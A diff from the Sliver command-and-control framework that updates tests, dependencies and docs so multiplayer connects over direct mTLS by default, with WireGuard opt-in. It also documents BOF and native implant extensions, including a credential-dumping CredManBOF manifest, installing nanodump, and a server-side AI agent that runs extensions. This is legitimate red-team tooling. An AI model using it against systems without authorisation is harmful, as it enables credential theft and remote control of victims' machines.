setTestMultiplayerConnectMode(t, MultiplayerConnectAuto)
|
||||
|
||||
strategy, err := selectMultiplayerDialStrategy(&assets.ClientConfig{
|
||||
WG: &assets.ClientWGConfig{
|
||||
ServerPubKey: "server-pub",
|
||||
ClientIP: "100.64.0.2",
|
||||
},
|
||||
})
|
||||
strategy, err := selectMultiplayerDialStrategy(completeWGClientConfig(false))
|
||||
if err != nil {
|
||||
t.Fatalf("select dial strategy: %v", err)
|
||||
}
|
||||
@@ -39,6 +40,33 @@ func TestSelectMultiplayerDialStrategyDefaultIgnoresIncompleteWGConfig(t *testin
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMultiplayerDialStrategyAutoEnabledWGConfigRequiresCompleteConfig(t *testing.T) {
|
||||
setTestMultiplayerConnectMode(t, MultiplayerConnectAuto)
|
||||
|
||||
_, err := selectMultiplayerDialStrategy(&assets.ClientConfig{
|
||||
WG: &assets.ClientWGConfig{
|
||||
Enabled: true,
|
||||
ServerPubKey: "server-pub",
|
||||
ClientIP: "100.64.0.2",
|
||||
},
|
||||
})
|
||||
if !errors.Is(err, ErrIncompleteWireGuardConfig) {
|
||||
t.Fatalf("expected incomplete WG config error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMultiplayerDialStrategyAutoEnabledWGConfigUsesWireGuard(t *testing.T) {
|
||||
setTestMultiplayerConnectMode(t, MultiplayerConnectAuto)
|
||||
|
||||
strategy, err := selectMultiplayerDialStrategy(completeWGClientConfig(true))
|
||||
if err != nil {
|
||||
t.Fatalf("select dial strategy: %v", err)
|
||||
}
|
||||
if strategy != multiplayerDialWireGuard {
|
||||
t.Fatalf("expected WireGuard strategy, got %v", strategy)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMultiplayerDialStrategyEnableWGRejectsMissingWGConfig(t *testing.T) {
|
||||
setTestMultiplayerConnectMode(t, MultiplayerConnectEnableWG)
|
||||
|
||||
@@ -62,16 +90,10 @@ func TestSelectMultiplayerDialStrategyEnableWGRejectsIncompleteWGConfig(t *testi
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMultiplayerDialStrategyEnableWGUsesWireGuardWhenConfigComplete(t *testing.T) {
|
||||
func TestSelectMultiplayerDialStrategyEnableWGUsesCompleteLegacyConfig(t *testing.T) {
|
||||
setTestMultiplayerConnectMode(t, MultiplayerConnectEnableWG)
|
||||
|
||||
strategy, err := selectMultiplayerDialStrategy(&assets.ClientConfig{
|
||||
WG: &assets.ClientWGConfig{
|
||||
ServerPubKey: "server-pub",
|
||||
ClientPrivateKey: "client-priv",
|
||||
ClientIP: "100.64.0.2",
|
||||
},
|
||||
})
|
||||
strategy, err := selectMultiplayerDialStrategy(completeWGClientConfig(false))
|
||||
if err != nil {
|
||||
t.Fatalf("select dial strategy: %v", err)
|
||||
}
|
||||
@@ -80,21 +102,38 @@ func TestSelectMultiplayerDialStrategyEnableWGUsesWireGuardWhenConfigComplete(t
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMultiplayerDialStrategyDefaultUsesDirectMTLSEvenWhenWGConfigComplete(t *testing.T) {
|
||||
setTestMultiplayerConnectMode(t, MultiplayerConnectDirect)
|
||||
func TestSelectMultiplayerDialStrategyDisableWGOverridesEnabledConfig(t *testing.T) {
|
||||
setTestMultiplayerConnectMode(t, MultiplayerConnectDisableWG)
|
||||
|
||||
strategy, err := selectMultiplayerDialStrategy(&assets.ClientConfig{
|
||||
WG: &assets.ClientWGConfig{
|
||||
ServerPubKey: "server-pub",
|
||||
ClientPrivateKey: "client-priv",
|
||||
ClientIP: "100.64.0.2",
|
||||
},
|
||||
})
|
||||
strategy, err := selectMultiplayerDialStrategy(completeWGClientConfig(true))
|
||||
if err != nil {
|
||||
t.Fatalf("select dial strategy: %v", err)
|
||||
}
|
||||
if strategy != multiplayerDialDirect {
|
||||
t.Fatalf("expected direct strategy when WG is not explicitly enabled, got %v", strategy)
|
||||
t.Fatalf("expected direct strategy, got %v", strategy)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMultiplayerDialStrategyRejectsInvalidMode(t *testing.T) {
|
||||
setTestMultiplayerConnectMode(t, MultiplayerConnectMode(255))
|
||||
|
||||
strategy, err := selectMultiplayerDialStrategy(completeWGClientConfig(true))
|
||||
if strategy != multiplayerDialDirect {
|
||||
t.Fatalf("expected invalid mode to fall back to direct strategy, got %v", strategy)
|
||||
}
|
||||
if err == nil || err.Error() != "invalid multiplayer connect mode 255" {
|
||||
t.Fatalf("expected invalid mode error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func completeWGClientConfig(enabled bool) *assets.ClientConfig {
|
||||
return &assets.ClientConfig{
|
||||
WG: &assets.ClientWGConfig{
|
||||
Enabled: enabled,
|
||||
ServerPubKey: "server-pub",
|
||||
ClientPrivateKey: "client-priv",
|
||||
ClientIP: "100.64.0.2",
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Generated
+14
-14
@@ -22,7 +22,7 @@
|
||||
"asciinema-player": "^3.15.1",
|
||||
"fuse.js": "^7.3.0",
|
||||
"lunr": "^2.3.9",
|
||||
"mermaid": "^11.15.0",
|
||||
"mermaid": "^11.16.1",
|
||||
"next": "^16.2.6",
|
||||
"next-themes": "^0.4.6",
|
||||
"react": "^19.2.5",
|
||||
@@ -1498,12 +1498,12 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@mermaid-js/parser": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/@mermaid-js/parser/-/parser-1.1.1.tgz",
|
||||
"integrity": "sha512-VuHdsYMK1bT6X2JbcAaWAhugTRvRBRyuZgd+c22swUeI9g/ntaxF7CY7dYarhZovofCbUNO0G7JesfmNtjYOCw==",
|
||||
"version": "1.2.0",
|
||||
"resolved": "https://registry.npmjs.org/@mermaid-js/parser/-/parser-1.2.0.tgz",
|
||||
"integrity": "sha512-oYPyv8A4As1yH5Bx+04iQEQxXuIQDe0GKCNSRgao6z8AM9jixXIfP0vsppRLvGf+nKIOb9/LdpWA4YuJiVvESA==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@chevrotain/types": "~11.1.1"
|
||||
"@chevrotain/types": "~11.1.2"
|
||||
}
|
||||
},
|
||||
"node_modules/@monaco-editor/loader": {
|
||||
@@ -7707,26 +7707,26 @@
|
||||
}
|
||||
},
|
||||
"node_modules/mermaid": {
|
||||
"version": "11.15.0",
|
||||
"resolved": "https://registry.npmjs.org/mermaid/-/mermaid-11.15.0.tgz",
|
||||
"integrity": "sha512-pTMbcf3rWdtLiYGpmoTjHEpeY8seiy6sR+9nD7LOs8KfUbHE4lOUAprTRqRAcWSQ6MQpdX+YEsxShtGsINtPtw==",
|
||||
"version": "11.16.1",
|
||||
"resolved": "https://registry.npmjs.org/mermaid/-/mermaid-11.16.1.tgz",
|
||||
"integrity": "sha512-TQsq6u22fAn3rek5VOubrhKPo1g5hwC3FXUN9hiyupTckcYiGuuKGkNQrKYwGJkXUxZdojwRG46gsSCFZMDp4g==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@braintree/sanitize-url": "^7.1.1",
|
||||
"@braintree/sanitize-url": "^7.1.2",
|
||||
"@iconify/utils": "^3.0.2",
|
||||
"@mermaid-js/parser": "^1.1.1",
|
||||
"@mermaid-js/parser": "^1.2.0",
|
||||
"@types/d3": "^7.4.3",
|
||||
"@upsetjs/venn.js": "^2.0.0",
|
||||
"cytoscape": "^3.33.1",
|
||||
"cytoscape": "^3.33.3",
|
||||
"cytoscape-cose-bilkent": "^4.1.0",
|
||||
"cytoscape-fcose": "^2.2.0",
|
||||
"d3": "^7.9.0",
|
||||
"d3-sankey": "^0.12.3",
|
||||
"dagre-d3-es": "7.0.14",
|
||||
"dayjs": "^1.11.19",
|
||||
"dompurify": "^3.3.1",
|
||||
"dayjs": "^1.11.20",
|
||||
"dompurify": "^3.3.3",
|
||||
"es-toolkit": "^1.45.1",
|
||||
"katex": "^0.16.25",
|
||||
"katex": "^0.16.45",
|
||||
"khroma": "^2.1.0",
|
||||
"marked": "^16.3.0",
|
||||
"roughjs": "^4.6.6",
|
||||
|
||||
@@ -26,7 +26,7 @@
|
||||
"asciinema-player": "^3.15.1",
|
||||
"fuse.js": "^7.3.0",
|
||||
"lunr": "^2.3.9",
|
||||
"mermaid": "^11.15.0",
|
||||
"mermaid": "^11.16.1",
|
||||
"next": "^16.2.6",
|
||||
"next-themes": "^0.4.6",
|
||||
"react": "^19.2.5",
|
||||
|
||||
@@ -168,6 +168,8 @@ As the alias support relies on Sliver side loading capabilities, please make sur
|
||||
|
||||
## Extensions
|
||||
|
||||
⚠️ Extensions are currently only supported when using Windows implants, though we're actively working on MacOS/Linux support.
|
||||
Native extensions are supported by Windows implants (`386`, `amd64`, and `arm64`), Linux implants (`386`, `amd64`, and `arm64`), and macOS implants (`amd64` and `arm64`). Each manifest must include a platform-native shared library for every target it supports: `.dll` on Windows, `.so` on Linux, and `.dylib` on macOS.
|
||||
|
||||
Extensions are similar in structure to an alias, but internally work differently. An extension is an artifact of native code that is reflectively loaded by the implant and passed certain callbacks. These callbacks allow the extension to return data to the C2 server. Extensions may also have dependencies (other extensions), which Sliver will load prior to the extension; circular dependencies are not allowed. For example, all BOF extensions (`.o` files) rely on the COFF Loader extension (a `.dll`).
|
||||
|
||||
Native exports use the same Sliver extension ABI on every supported operating system. The export receives the argument buffer, its size, and a callback used to return output. The optional `init` export in the extension manifest is called once after the library is loaded and before any command export is invoked.
|
||||
@@ -5,7 +5,7 @@ This document describes the technical design of Sliver.
|
||||
There are four major components to the Sliver ecosystem:
|
||||
|
||||
- **Server Console -** The server console is the main interface, which is started when you run the `sliver-server` executable. The server console is a superset of the client console. All code is shared between the client/server consoles except server-specific commands related to client (i.e., operator) management. The server console talks over an in-memory gRPC interface to the server.
|
||||
- **Sliver Server -** The Sliver server is also part of the `sliver-server` executable and manages the internal database, starts/stops network listeners (such as C2 listeners, though there are other types). The main interface used to interact with the server is the gRPC interface, thru which all functionality is implemented. By default the server will only start an in-memory gRPC listener that can only be communicated with from the server console. However, the gRPC interface can also be exposed to the network in multiplayer mode, either directly over mutual TLS (mTLS) or, by default, through a WireGuard-protected wrapper that carries the same gRPC/mTLS service.
|
||||
- **Sliver Server -** The Sliver server is also part of the `sliver-server` executable and manages the internal database, starts/stops network listeners (such as C2 listeners, though there are other types). The main interface used to interact with the server is the gRPC interface, thru which all functionality is implemented. By default the server will only start an in-memory gRPC listener that can only be communicated with from the server console. However, the gRPC interface can also be exposed to the network in multiplayer mode, directly over mutual TLS (mTLS) by default or through an optional WireGuard-protected wrapper that carries the same gRPC/mTLS service.
|
||||
- **Sliver Client -** The client console is the primary user interface that is used to interact with the Sliver server. Note that most of the code in the server console is actually the client console. The client console can also be compiled into a separate client binary file `sliver-client`, which is generally used to connect to the multiplayer gRPC network listener.
|
||||
- **Implant -** The implant is the actual malicious code run on the target system you want remote access to.
|
||||
|
||||
@@ -17,8 +17,8 @@ There are four major components to the Sliver ecosystem:
|
||||
└─────────┘ └───────────────┘
|
||||
▲
|
||||
│
|
||||
│WireGuard (default)
|
||||
│or direct gRPC/mTLS
|
||||
│gRPC/mTLS (default)
|
||||
│or optional WireGuard wrapper
|
||||
│
|
||||
┌────┴────┐
|
||||
│ Sliver │
|
||||
|
||||
@@ -2,11 +2,11 @@ Sliver supports the loading and execution of BOFs and COFFs, generally no code c
|
||||
|
||||
### BOF Extensions
|
||||
|
||||
BOF support is provided via the [COFF Loader](https://github.com/sliverarmory/COFFLoader) extension, you'll need it installed to run pretty much any BOF. However, the COFF Loader will be installed automatically if you install a BOF extension from the [armory](/docs?name=Armory).
|
||||
New Sliver implants execute BOFs with the built-in [Reflektor](https://github.com/sliverarmory/reflektor) executor by default. Armory packages can retain a [COFF Loader](https://github.com/sliverarmory/COFFLoader) dependency as a compatibility fallback for older clients, servers, and implants; Armory installs that dependency automatically.
|
||||
|
||||
The easiest way to install a BOF extension, for example [`nanodump`](https://github.com/sliverarmory/nanodump), is using the [armory](/docs?name=Armory) package manager:
|
||||
|
||||
**IMPORTANT:** BOF extensions are still installed per-sliver client for normal operator use, so they are not shared across operators automatically. If you want the server-side AI agent to use a BOF, copy the unpacked BOF directory into `~/.sliver/ai/extensions` on the server as well, and copy any dependency such as `coff-loader` into that same server-side AI store.
|
||||
**IMPORTANT:** BOF extensions are still installed per-sliver client for normal operator use, so they are not shared across operators automatically. If you want the server-side AI agent to use a BOF, copy the unpacked BOF directory into `~/.sliver/ai/extensions` on the server as well. Copy its `depends_on` package too when the manifest retains a compatibility fallback or explicitly selects a COFF loader.
|
||||
|
||||
```
|
||||
sliver > armory install nanodump
|
||||
@@ -75,7 +75,7 @@ beacon_command_register(
|
||||
| z | zero-terminated+encoded string | `string` |
|
||||
| Z | zero-terminated wide-char string | `wstring` |
|
||||
|
||||
Looking at the script we can see the BOF requires a single integer argument. The corresponding Sliver `extension.json` file is shown below. Note that BOFs will always rely on the `coff-loader` extension but other kinds of extensions may not. If the `coff-loader` extension is not already installed on your system, it can be installed using `armory install coff-loader`. You can list installed extensions by simply running the `extensions` command with no arguments.
|
||||
Looking at the script we can see the BOF requires a single integer argument. The corresponding Sliver `extension.json` file is shown below. This manifest prefers Reflektor while retaining `coff-loader` for old-component compatibility. If the loader is not already installed, Armory installs it with the BOF package.
|
||||
|
||||
```json
|
||||
{
|
||||
@@ -87,6 +87,7 @@ Looking at the script we can see the BOF requires a single integer argument. The
|
||||
"repo_url": "https://github.com/sliverarmory/CredManBOF",
|
||||
"help": "Dump credentials using the CredsBackupCredentials API",
|
||||
"long_help": "",
|
||||
"bof_executor": "reflektor",
|
||||
"depends_on": "coff-loader",
|
||||
"entrypoint": "go",
|
||||
"files": [
|
||||
@@ -112,10 +113,17 @@ Looking at the script we can see the BOF requires a single integer argument. The
|
||||
}
|
||||
```
|
||||
|
||||
`bof_executor` accepts two values:
|
||||
|
||||
- `reflektor` prefers built-in execution when both the server and implant advertise support. If `depends_on` is present, upgraded clients use it as the fallback for an older server or implant, while old clients ignore `bof_executor` and retain their existing loader behavior.
|
||||
- `coff-loader` always uses the existing loader path. `depends_on` is required and names the concrete loader, including custom loaders.
|
||||
|
||||
When `bof_executor` is omitted, existing `.o` manifests with `depends_on` keep their legacy loader behavior. A dependency-free `.o` defaults to Reflektor and therefore requires a compatible client, server, and implant.
|
||||
|
||||
Once the manifest is defined load it into your client using `extensions load`, locally loaded extensions do not need to be cryptographically signed. The paths in the manifest should be relative to the manifest file, parent directories are not allowed.
|
||||
|
||||
If you want the server-side AI agent to discover and run the same BOF, copy that unpacked directory into `~/.sliver/ai/extensions/<name>/` so the `extension.json` file and `.o` artifact are available on the server.
|
||||
|
||||
More details can be found on the [Aliases & Extensions](/docs?name=Aliases+and+Extensions) page.
|
||||
|
||||
**IMPORTANT:** For BOF extensions to be properly detected by the Sliver client, the `path` must use the `.o` file extension.
|
||||
**IMPORTANT:** Legacy manifests should keep the `.o` file extension. An explicit `bof_executor` also identifies the command as a BOF, but older clients still rely on the `.o` suffix.
|
||||
@@ -55,6 +55,7 @@ cxx: {}
|
||||
- `port` - Listen port for the multiplayer listener.
|
||||
- `tailscale` - Enable Tailscale for daemon listener setup. When enabled, Sliver does not wrap multiplayer in its own WireGuard layer.
|
||||
- `enable_wg` - Wrap multiplayer in WireGuard. If omitted or false, multiplayer is exposed directly over mTLS.
|
||||
- The legacy `disable_wg` field from the withdrawn WireGuard-by-default release does not enable WireGuard and is normalized to `enable_wg: false`. Set `enable_wg: true` explicitly to opt in.
|
||||
- `logs` - Server logging options.
|
||||
- `level` - `logrus` level (`0`-`6`, clamped by Sliver). `4` is `INFO`, `5` is `DEBUG`, `6` is `TRACE`.
|
||||
- `grpc_unary_payloads` - Log gRPC unary payloads.
|
||||
@@ -142,21 +143,31 @@ For details on generating them, see [multiplayer mode](/docs?name=Multi-player+M
|
||||
"lport": 31337,
|
||||
"ca_certificate": "-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----\n",
|
||||
"private_key": "-----BEGIN EC PRIVATE KEY-----\n...\n-----END EC PRIVATE KEY-----\n",
|
||||
"certificate": "-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----\n",
|
||||
"wg": {
|
||||
"server_pub_key": "<multiplayer-wg-server-pubkey>",
|
||||
"client_private_key": "<operator-wg-private-key>",
|
||||
"client_pub_key": "<operator-wg-public-key>",
|
||||
"client_ip": "100.65.0.10",
|
||||
"server_ip": "100.65.0.1"
|
||||
}
|
||||
"certificate": "-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----\n"
|
||||
}
|
||||
```
|
||||
|
||||
**Note:** The `operator` field is mostly a local label in the client. Server-side identity is derived from the client certificate (`CommonName`) and token material generated by the server. If you need to rename an operator, generate a new client configuration.
|
||||
|
||||
The `wg` block is optional:
|
||||
The default operator profile does not contain a `wg` block, and the client connects directly to the multiplayer mTLS listener.
|
||||
|
||||
- When present, `sliver-client` automatically brings up the multiplayer WireGuard wrapper and then dials the in-tunnel gRPC/mTLS service.
|
||||
- When absent, the client connects directly to the multiplayer mTLS listener.
|
||||
- Generate a WireGuard-enabled profile with `new-operator --enable-wg` or `sliver-server operator --enable-wg` when you want the multiplayer WireGuard wrapper.
|
||||
Multiplayer WireGuard is opt-in. Generate a WireGuard-enabled profile with `new-operator --enable-wg` or `sliver-server operator --enable-wg`; this adds the following block:
|
||||
|
||||
```json
|
||||
"wg": {
|
||||
"enabled": true,
|
||||
"server_pub_key": "<multiplayer-wg-server-pubkey>",
|
||||
"client_private_key": "<operator-wg-private-key>",
|
||||
"client_pub_key": "<operator-wg-public-key>",
|
||||
"client_ip": "100.65.0.10",
|
||||
"server_ip": "100.65.0.1"
|
||||
}
|
||||
```
|
||||
|
||||
The listener must also be started with `multiplayer --enable-wg` or `sliver-server daemon --enable-wg`. The official client reads the profile and automatically uses WireGuard only when `wg.enabled` is true; otherwise it connects directly. A profile from the withdrawn WireGuard-by-default release may contain a `wg` block without the `enabled` field. Such a profile stays in direct mode unless you deliberately force WireGuard with `sliver-client --enable-wg`.
|
||||
|
||||
The client flags override the profile selection:
|
||||
|
||||
- `sliver-client --enable-wg` forces WireGuard and requires usable tunnel settings in the selected profile.
|
||||
- `sliver-client --disable-wg` forces a direct gRPC/mTLS connection even when `wg.enabled` is true.
|
||||
- Without either flag, `sliver-client` follows `wg.enabled`. The two override flags cannot be used together.
|
||||
@@ -2,18 +2,18 @@ Although the `sliver-client` is the default way to interact with a `sliver-serve
|
||||
|
||||
To do so, you can use [sliver-script](https://github.com/moloch--/sliver-script), [sliver-py](https://github.com/moloch--/sliver-py), or write a custom client in another language.
|
||||
|
||||
Current Sliver releases generate multiplayer operator configs with a `wg` block by default. The official `sliver-client`, and Go clients that reuse Sliver's `client/assets` plus `client/transport` packages, will automatically bring up that WireGuard wrapper before dialing the in-tunnel gRPC/mTLS service.
|
||||
Sliver exposes multiplayer directly over gRPC/mTLS and generates direct operator configs by default. The multiplayer WireGuard wrapper is enabled explicitly on the listener and when the operator profile is generated. A WireGuard-enabled profile records that choice as `wg.enabled: true`.
|
||||
|
||||
If you are writing a custom client in another language, you have two options:
|
||||
|
||||
- Implement the multiplayer WireGuard wrapper described in [multiplayer mode](/docs?name=Multi-player+Mode), then connect to the in-tunnel gRPC/mTLS service.
|
||||
- Keep multiplayer in direct mode by default, or explicitly opt into the wrapper with `multiplayer --enable-wg` or `sliver-server daemon --enable-wg`. Generate matching operator profiles with `new-operator --enable-wg` or `sliver-server operator --enable-wg` when you want the client-side WireGuard wrapper.
|
||||
- Use the default direct gRPC/mTLS multiplayer mode, which works with a standard gRPC client and a default operator profile.
|
||||
- Implement the multiplayer WireGuard wrapper described in [multiplayer mode](/docs?name=Multi-player+Mode). Opt into it with `multiplayer --enable-wg` or `sliver-server daemon --enable-wg`, generate a matching profile with `new-operator --enable-wg` or `sliver-server operator --enable-wg`, and honor `wg.enabled` when selecting the transport. A legacy profile that has a `wg` block but no `enabled` field should remain direct.
|
||||
|
||||
Once connected, the client/server API is still gRPC, so any language with gRPC support can in theory be used to create a custom client.
|
||||
|
||||
## Writing a Go client
|
||||
|
||||
This example uses Sliver's Go client libraries, so it works with either a direct multiplayer profile or a WireGuard-enabled profile.
|
||||
This example uses Sliver's Go client libraries. `transport.MTLSConnect` automatically follows the selected profile in `transport.MultiplayerConnectAuto` mode: `wg.enabled: true` selects WireGuard, while a missing or disabled marker selects direct gRPC/mTLS. Applications that expose manual transport controls can call `transport.SetMultiplayerConnectMode` with `transport.MultiplayerConnectEnableWG` or `transport.MultiplayerConnectDisableWG` before connecting.
|
||||
|
||||
In this example, we will focus on writing a custom Go client that executes a new system command on every new implant that connects to the sliver server.
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
Sliver supports running in daemon mode, which automatically starts the multiplayer listener but does not provide an interactive console. To connect to a daemonized server, use [multiplayer mode](/docs?name=Multi-player+Mode) operator configs.
|
||||
|
||||
By default, daemon mode starts the same WireGuard-protected multiplayer listener used by the interactive `multiplayer` command. That means the outer listener is UDP on `31337` by default, while the authenticated gRPC/mTLS service stays inside the WireGuard tunnel.
|
||||
By default, daemon mode exposes the multiplayer listener directly over TCP gRPC/mTLS on port `31337`. The multiplayer WireGuard wrapper is opt-in with `--enable-wg` or `daemon.enable_wg: true`.
|
||||
|
||||
There are two ways to run in daemon mode:
|
||||
|
||||
@@ -49,7 +49,7 @@ Since daemon mode does not provide an interactive server console, generate opera
|
||||
./sliver-server operator --name zer0cool --lhost 1.2.3.4 --permissions all --save zer0cool.cfg
|
||||
```
|
||||
|
||||
The `operator` CLI generates direct multiplayer profiles by default. Add `--enable-wg` when the daemon is running with the WireGuard wrapper.
|
||||
The `operator` CLI generates direct multiplayer profiles by default. When the daemon is running with the WireGuard wrapper, add `--enable-wg` while generating the profile. That profile contains `wg.enabled: true`, so `sliver-client` selects WireGuard automatically. Use the client's `--enable-wg` or `--disable-wg` only when you need to override the profile.
|
||||
|
||||
### Shutdown Behavior
|
||||
|
||||
|
||||
@@ -21,6 +21,10 @@ Any `sliver-server` binary can be started as a builder process using [operator c
|
||||
./sliver-server builder -c operator-multiplayer.cfg
|
||||
```
|
||||
|
||||
Builders follow the operator profile automatically: direct profiles use gRPC/mTLS, while profiles generated with `new-operator --enable-wg` (or `sliver-server operator --enable-wg`) contain `wg.enabled: true` and use WireGuard. No builder flag is required for a correctly generated profile.
|
||||
|
||||
Use `--enable-wg` to force WireGuard for a profile with tunnel settings, or `--disable-wg` to force a direct connection; the flags cannot be combined. Profiles from the withdrawn WireGuard-by-default release may have a `wg` block without `enabled`; builders treat those profiles as direct unless WireGuard is forced explicitly.
|
||||
|
||||
When started as a builder, the Sliver process will mirror log output to stdout by default, however this can be disabled (see `sliver-server builder --help`).
|
||||
|
||||
**⚠️ IMPORTANT:** Builders must have unique names, by default the builder's hostname will be used, but this can be changed using the `--name` cli flag.
|
||||
|
||||
@@ -4,7 +4,7 @@ https://sliver.sh/install
|
||||
|
||||
This script should work on Kali, Ubuntu, and RHEL (CentOS, etc) distributions of Linux.
|
||||
|
||||
**⚠️ OPSEC:** By default the Linux install script will bind the multiplayer listener to `:31337` on all interfaces. In current releases that is the WireGuard-protected multiplayer listener, so the outer service is UDP/31337 and the authenticated gRPC/mTLS server only exists inside the tunnel. Ensure your firewalls are properly configured if this is a concern, or reconfigure the server to bind to localhost if you only wish to allow local users. Publicly exposing the multiplayer listener still makes the server easier to discover and fingerprint.
|
||||
**⚠️ OPSEC:** By default the Linux install script binds the direct multiplayer gRPC/mTLS listener to TCP `:31337` on all interfaces. WireGuard is not enabled by the installer. Ensure your firewalls are properly configured, or reconfigure the server to bind to localhost if you only wish to allow local users. Publicly exposing the multiplayer listener makes the server easier to discover and fingerprint.
|
||||
|
||||
### One Liner
|
||||
|
||||
|
||||
@@ -10,8 +10,7 @@ Sliver exposes the operator-facing multiplayer listener directly over gRPC/mTLS
|
||||
└──────────────────┘
|
||||
▲
|
||||
│
|
||||
UDP/WireGuard (default) │
|
||||
gRPC/mTLS inside │
|
||||
TCP/gRPC/mTLS (default) │
|
||||
┌────────────┬────────┴─────┬───────────┐
|
||||
│ │ │ │
|
||||
┌─────┴──┐ │ │ ┌──┴─────┐
|
||||
@@ -21,7 +20,7 @@ Sliver exposes the operator-facing multiplayer listener directly over gRPC/mTLS
|
||||
└────────┘ └────────┘
|
||||
```
|
||||
|
||||
## Default WireGuard-Protected Mode
|
||||
## Default Direct mTLS Mode
|
||||
|
||||
Operators will need to download their preferred platform's client software from the releases page. Clients can connect to servers of differing platforms (e.g. a Windows client can connect to a Linux server). Operators and servers authenticate using Mutual TLS, however all the certificates are managed automatically for you.
|
||||
|
||||
@@ -32,11 +31,9 @@ Operators need a configuration file generated by the Sliver server to connect in
|
||||
|
||||
In the default mode:
|
||||
|
||||
- `multiplayer` exposes a WireGuard listener on `--lport` (default `31337`) over UDP.
|
||||
- The authenticated gRPC/mTLS server only listens inside that WireGuard tunnel.
|
||||
- `new-operator` generates a per-operator WireGuard keypair and tunnel IP, then embeds that information in the operator config's `wg` block.
|
||||
- The multiplayer listener uses WireGuard keys that are separate from Sliver's implant `wg` C2 listener.
|
||||
- `sliver-client` automatically uses the WireGuard wrapper when the imported config contains that `wg` block.
|
||||
- `multiplayer` exposes the authenticated gRPC/mTLS listener directly over TCP on `--lport` (default `31337`).
|
||||
- `new-operator` generates a direct multiplayer profile without a `wg` block.
|
||||
- `sliver-client` connects directly over gRPC/mTLS because the selected profile does not opt into WireGuard.
|
||||
|
||||
From the server, start the multiplayer listener and generate an operator config with the server's public address or hostname in `--lhost`. Use `--permissions all` for a standard interactive operator profile:
|
||||
|
||||
@@ -66,28 +63,50 @@ $ ./sliver-client
|
||||
localhost
|
||||
```
|
||||
|
||||
## Direct mTLS Mode
|
||||
## Optional WireGuard Wrapper
|
||||
|
||||
If you want the old behavior, or you need compatibility with third-party gRPC clients that do not implement the multiplayer WireGuard wrapper, disable it on both the listener and the generated operator profile:
|
||||
Multiplayer WireGuard is opt-in. Enable it explicitly on the listener and include matching WireGuard settings in the operator profile:
|
||||
|
||||
```
|
||||
[server] sliver > multiplayer
|
||||
[server] sliver > multiplayer --enable-wg
|
||||
|
||||
[*] Multiplayer mode enabled!
|
||||
|
||||
[server] sliver > new-operator --name tester --lhost 1.2.3.4 --permissions all
|
||||
[server] sliver > new-operator --name tester --lhost 1.2.3.4 --permissions all --enable-wg
|
||||
|
||||
[*] Generating new client certificate, please wait ...
|
||||
[*] Saved new client config to: /Users/tester/Desktop/tester_example.com.cfg
|
||||
```
|
||||
|
||||
In direct mode:
|
||||
Import the profile and start the client normally:
|
||||
|
||||
- Multiplayer is exposed directly over TCP on `--lport` (default `31337`).
|
||||
- Generated operator configs omit the `wg` block.
|
||||
- `sliver-client --enable-wg` opts into the multiplayer WireGuard wrapper when the operator config includes a `wg` block.
|
||||
```
|
||||
$ ./sliver-client import ./tester_example.com.cfg
|
||||
|
||||
The listener mode, operator config, and client flag need to match. A WireGuard-wrapped listener needs a `wg` block in the operator profile plus `sliver-client --enable-wg`. Direct multiplayer works without the `wg` block and without the flag.
|
||||
$ ./sliver-client
|
||||
```
|
||||
|
||||
In WireGuard mode:
|
||||
|
||||
- `multiplayer --enable-wg` exposes a WireGuard listener on `--lport` (default `31337`) over UDP.
|
||||
- The authenticated gRPC/mTLS server only listens inside that WireGuard tunnel.
|
||||
- `new-operator --enable-wg` generates a per-operator WireGuard keypair and tunnel IP, then embeds that information with `wg.enabled: true` in the operator profile.
|
||||
- `sliver-client` sees `wg.enabled: true` and automatically uses the profile's WireGuard settings before dialing the in-tunnel gRPC/mTLS service.
|
||||
- The multiplayer listener uses WireGuard keys that are separate from Sliver's implant `wg` C2 listener.
|
||||
|
||||
The listener mode and operator profile need to match. A WireGuard-wrapped listener needs a profile generated with `--enable-wg`; direct multiplayer uses a normal profile. No client flag is required in either case.
|
||||
|
||||
The client provides explicit overrides for troubleshooting and migration:
|
||||
|
||||
- `sliver-client --enable-wg` forces WireGuard and requires usable WireGuard settings in the profile.
|
||||
- `sliver-client --disable-wg` forces direct gRPC/mTLS even when `wg.enabled` is true.
|
||||
- Without either flag, the client follows `wg.enabled`. The flags cannot be used together.
|
||||
|
||||
Profiles from the withdrawn WireGuard-by-default release may contain a `wg` block without the new `enabled` marker. The client treats those profiles as direct rather than considering block presence an opt-in. To keep using WireGuard, explicitly recreate the listener and profile with `--enable-wg`. The client override can temporarily force a legacy profile only when its listener is also running in WireGuard mode.
|
||||
|
||||
When upgrading from the withdrawn WireGuard-by-default release, legacy persisted multiplayer jobs restart in direct mode because they do not contain an explicit WireGuard opt-in. Recreate the listener with `multiplayer --enable-wg` if you intentionally want the wrapper.
|
||||
|
||||
Upgrade affected clients along with the server. The withdrawn client automatically selected WireGuard whenever a `wg` block was present, so it can mismatch a listener that the new server safely migrated to direct mode. Until that client is upgraded, use its `--disable-wg` override for a migrated direct listener, or explicitly re-enable WireGuard on both the listener and profile.
|
||||
|
||||
### Server CLI / Daemon Mode Multiplayer
|
||||
|
||||
@@ -99,7 +118,7 @@ Use the server CLI to generate operator configuration files:
|
||||
./sliver-server operator --name zer0cool --lhost 1.2.3.4 --permissions all --save zer0cool.cfg
|
||||
```
|
||||
|
||||
Operator profiles omit the multiplayer `wg` block by default. Add `--enable-wg` when the listener is wrapped in WireGuard.
|
||||
Operator profiles omit the multiplayer `wg` block by default. Add `--enable-wg` when the listener is wrapped in WireGuard; the resulting `wg.enabled: true` marker makes the client select the wrapper automatically.
|
||||
|
||||
The installation script places the `sliver-server` binary in `/root` by default.
|
